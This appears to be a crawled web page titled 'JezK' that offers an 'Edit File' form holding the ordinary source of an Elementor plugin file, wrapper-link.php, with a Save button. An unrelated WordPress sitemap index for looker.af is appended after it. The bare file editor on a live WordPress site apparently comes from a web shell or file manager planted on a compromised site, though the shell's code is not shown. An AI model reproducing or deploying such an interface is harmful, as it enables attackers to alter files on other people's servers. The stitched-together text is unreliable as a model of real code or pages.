
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: wrapper-link.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Happy_Addons\Elementor\Extension;

use Elementor\Controls_Manager;
use Elementor\Element_Base;

defined(&#039;ABSPATH&#039;) || die();

class Wrapper_Link {

	public static function init() {
		add_action( &#039;elementor/element/container/section_layout/after_section_end&#039;, [ __CLASS__, &#039;add_controls_section&#039; ], 1 );
		add_action( &#039;elementor/element/column/section_advanced/after_section_end&#039;, [ __CLASS__, &#039;add_controls_section&#039; ], 1 );
		add_action( &#039;elementor/element/section/section_advanced/after_section_end&#039;, [ __CLASS__, &#039;add_controls_section&#039; ], 1 );
		add_action( &#039;elementor/element/common/_section_style/after_section_end&#039;, [ __CLASS__, &#039;add_controls_section&#039; ], 1 );

		add_action( &#039;elementor/frontend/before_render&#039;, [ __CLASS__, &#039;before_section_render&#039; ], 1 );
	}

	public static function add_controls_section( Element_Base $element) {
		$tabs = Controls_Manager::TAB_CONTENT;

		if ( &#039;section&#039; === $element-&gt;get_name() || &#039;column&#039; === $element-&gt;get_name()  || &#039;container&#039; === $element-&gt;get_name() ) {
			$tabs = Controls_Manager::TAB_LAYOUT;
		}

		$element-&gt;start_controls_section(
			&#039;_section_ha_wrapper_link&#039;,
			[
				&#039;label&#039; =&gt; __( &#039;Wrapper Link&#039;, &#039;happy-elementor-addons&#039; ) . ha_get_section_icon(),
				&#039;tab&#039;   =&gt; $tabs,
			]
		);

		$element-&gt;add_control(
			&#039;ha_element_link&#039;,
			[
				&#039;label&#039;       =&gt; __( &#039;Link&#039;, &#039;happy-elementor-addons&#039; ),
				&#039;type&#039;        =&gt; Controls_Manager::URL,
				&#039;dynamic&#039;     =&gt; [
					&#039;active&#039; =&gt; true,
				],
				&#039;placeholder&#039; =&gt; &#039;https://example.com&#039;,
			]
		);

		$element-&gt;end_controls_section();
	}

	public static function before_section_render( Element_Base $element ) {
		$link_settings = $element-&gt;get_settings_for_display( &#039;ha_element_link&#039; );
		$link_settings[&#039;url&#039;] = esc_url( $link_settings[&#039;url&#039;] ?? &#039;&#039; );
		unset( $link_settings[&#039;custom_attributes&#039;] );

		if ( $link_settings &amp;&amp; ! empty( $link_settings[&#039;url&#039;] ) ) {
			$element-&gt;add_render_attribute(
				&#039;_wrapper&#039;,
				[
					&#039;data-ha-element-link&#039; =&gt; json_encode( $link_settings ),
					&#039;style&#039; =&gt; &#039;cursor: pointer&#039;
				]
			);
		}
	}
}

Wrapper_Link::init();
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
